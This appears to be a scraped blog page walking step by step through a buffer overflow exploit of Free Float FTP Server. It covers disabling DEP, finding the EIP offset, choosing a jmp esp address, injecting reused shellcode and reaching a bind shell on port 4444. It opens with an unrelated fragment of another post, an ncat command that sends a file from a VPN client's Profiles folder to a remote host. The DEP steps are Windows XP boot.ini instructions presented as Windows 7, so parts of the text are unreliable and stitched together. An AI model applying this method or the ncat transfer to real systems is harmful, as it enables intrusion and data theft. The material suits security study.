ncat --send-only your-ip-address 2223 < test-doc.txt

C:\Program Files\Cisco Systems\VPN Client\Profiles>ncat --send-only your-ip-address 2223 < test-doc.txt
ncat --send-only your-ip-address 2223 < test-doc.txt

then go to your root folder in backtrack and look for the file 
you moved across here it was called test-doc.txt

you can move any file not just .txt!

Over The Flow The Simple Way

1/05/2012

Over The Flow The Simple Way

Intro 

This article is dedicated to simple exploitation and exploit fixation. During this article we will reproduce an exploit with disabled Data Execution Prevention (DEP) that concerns Free float FTP Server Buffer Overflow Vulnerability found here, the vulnerable software can be downloaded from here. I will go through the Buffer Overflow Exploitation step by step to show the exploit procedure. The Free Float Ftp Server does not need any installation, it  is  just a simple FTP server.. But before we do anything like that we would have to explain how to disable the DEP from Windows 7 (I am suing windows 7).

Completely Disabling DEP

In order to successfully reproduce the exploit in your Windows 7 SP1 EN you would have to either completely disable DEP or exclude the Free Float FTP server executable from using DEP. To completely disable DEP you:

1. Click Start, and then click Control Panel.
2. Under Pick a category, click Performance and Maintenance.
3. Under or Pick a Control Panel icon, click System.
4. Click the Advanced tab, and in the Startup and Recovery area, click Settings.
5. In the SystemStartup area, click Edit.
6. In Notepad, click Edit and then click Find.
7. In the Find what field, type /noexecute and then click Find Next.
8. In the Find dialog box click Cancel.
9. Replace the policy_level (for example, "OptIn" default) with "AlwaysOff" (without the quotes).

WARNING: Be sure to enter the text carefully. Your boot.ini file switch should now read:

1. /noexecute=AlwaysOff
2. In Notepad, click File and then click Save.
3. Click OK to close Startup and Recovery.
4. Click OK to close System Properties and then restart your computer.

This setting does not provide any DEP coverage for any part of the system, regardless of hardware DEP support.

Verifying DEP is Completely Disabled

1. Click Start, and then click Control Panel.
2. Under Pick a category, click Performance and Maintenance.
3. Under or Pick a Control Panel icon, click System.
4. Click the Advanced tab.
5. In the Performance area, click Settings and then click Data Execution Prevention.
6. Verify that the DEP settings are unavailable and then click OK to close Performance Settings.
7. Click OK to close System Properties then close Performance and Maintenance.
   

Adding DEP exclusions

In order to do that you would have to go:

Computer -> Properties -> Advanced Settings -> (Tab) Advanced -> Performance -> Settings -> (Tab)  Data Execution Prevention -> (Text Box) Turn On DEP for all programs and services except those select: 

Note: This means that all other system dll are still protected from DEP?

Calculating the EIP

First we will have to calculate the EIP address, in order to do that I will use the very well know tool from metasploit named pattern_create.rb.We will start with a size of 1000 characters (generating that way a 1000 unique character sequence pattern). So I will do a cd /opt/metasploit/msf3/tools and then type ./pattern_create.rb 1000. After that I will inject the string into the application (the vulnerable variable USER from float ftp server) using the following simple Python script:

Note: Notice how simple is the script, you practically do not even have to know how to program. See the variable buff assigned the none repeating pattern with 1000 characters. Then we inject to the ftp variable USER the string. The next thing to do would be to use the Olly Debugger v1.0  to see the internals of the program (do not ever but ever, but ever use Olly Debugger v2.0 it is real a crap).

This what we will get back from the Python Shell as an output:

Note: The FTP Server spits back all the pattern, interesting. But is not important for our experiment.

So I run the debugger and attach the vulnerable FTPServer:

Note: Now from the Debugger after I injected the generated string I see this. This means that out pattern as expected overwrote the EIP. And using the pattern_offset we will calculate the exact position of EIP.

Important Note:We do ./pattern_offset.rb 37684136 which will give us the number 230. Now this number is important.So we can do later other calculations. In order to gain access to the offset utility you would have to do a cd to the same directory with the pattern_create.rb tool. The hex number used with the offset tool was copied from Olly debugger by right clicking and coping the address of the EIP register.

Verifying that the EIP address was overwritten

In order to verify that we successfully managed to overwrite the EIP address I will add 230 A's to cover the initial offset and then 4 B's simply to overwrite the EIP address and then I will fill the rest of the stack with C's. So the pattern would be AAAAAAA........ BBBB CCCCCCCCCC..... where the length of  A's is 230, the length of B's is 4  (all addresses in 32 bit architecture are 4 bytes long) and the length of C's is 1000 - (length of 4 B's +  length of 230 A's) so we would fill all the stack with the right amount characters (if you do not do that the server might not crash!!!) the overflow was initially detected by the author of the original exploit (meaning the 1000 characters) so we do not have to do anything myself, plus if we use the shellcode from the author of the original exploit we know that the shellcode fits into the stack (in case we had to write our own shellcode, we would have to recalculate the ESP available space for example). So the following again simple Python script will map and verify that the EIP address was overwritten successfully (this time the 4 B's will overwrite the EIP address):

 Note: See again how simple and elegant is the script that maps the EIP register in this example.

This is what the Python Shell spits back:

 Note: See how the injected string looks like when bounced back from the FTPServer.

 This how the FTPServer look like in Olly Debugger v1.0 after the string injection (the FPU section):

 Note: Notice that looks really bad.
 

  
Note: This is the error message window popped up when we try to continue to execute the FTPServer after injecting the string described before.The EIP address was successfully overwritten with our 4 B's

Finding the JUMP address

In order to inject some type of shellcode to a vulnerable software you would have to now a good jump address to redirect the execution flow. What is a jump address is out of scope of this article. There is a  very easy way to locate jump addresses. in the main panel of the FTPServer by simply doing a Debug ->  Restart and wait, after the program restarts I go to the executable section identified by clicking the E button on top of the Olly Debugger v1.0:

 If we double click into the USER32.dll we see:

Note: This is how USER32.dll looks like in CPU.

Next thing if you do a right click search for all commands you get this (inside the USER32.dll):

This is what you get after the search of jmp esp:

Note: From the above jmp addresses I will choose the 76604E5B.

Injecting the Shellcode

Know we know how to overwrite the address of the EIP, we have a shellcode (copied from the original exploit, written for Windows XP EN), now I am going to add a few nops before the shell and inject the shell. So the final exploit looks like that:

Note: This is how the final exploit looks like cool e?

If we have a look at the Python shell:

Note: See how the injected string with shell looks like.

Now lets have a look at some parts of the exploit to see how it works, the first part is A's part:

Note: Here you can understand how useful the information was from the pattern_offset.rb. This helps us push the shellcode to the right place.

The second interesting part is the nops operator:

Note: The NOP opcode can be used to form a NOP slide, which allows code to execute when the exact value of the instruction pointer is indeterminate (e.g., when a buffer overflow causes a function's return address on the stack to be overwritten). Plus it allows to the shellcode to decode properly.

The third most interesting part of the code is this:

Note:  If you see at the beginning of the exploit we imported from the struct package the function pack which helped us to convert our address to Little Indian. Little Indian" means that the lower-order byte of the number is stored in memory at the lowest address, and the high-order byte at the highest address.  The forth line of the exploit code that is interesting is this one:

 

Note: In this part we see our malicious buffer.The final size of the buffer is again 1000 characters as originally identified.

Testing our Exploit

In order to test my exploit I will run a netstat -ano 1 | findstr 0.0.0.0:21 to monitor that the FTPServer is running and listening at port 21 as planned and also run a netstat -ano 1 | findstr 0.0.0.0:4444 to make sure that the shellcode is running as it would suppose to (listening for a binding shell at port 4444).

The ftp server monitoring window:

Note: See the the netstat is running every 1 second.

And kaboom shellcode monitoring window shows that the exploit was successfully executed:

The telnet window to interact with the FTPServer bind shell:

Note: See that the telnet remote shell has access to the same folder with the FTPServer. The exploit continues to run even after the FTPServer was killed!!!

Epilogue

None DEP exploits are easy to write even when you do not know assembly. Fixing and replicating is mush easier than thought now days. All the knowledge is out there, you just have to look for it.Shellcodes can obviously be generated also from metasploit. This is a very good example on how you can experiment with jump addresses and different shellcodes generated from metasploit or downloaded from other sites (even though I do not recommend that)

References:

http://www.exploit-db.com/exploits/15689/
http://www.zensoftware.co.uk/kb/article.aspx?id=10002
http://en.wikipedia.org/wiki/NOP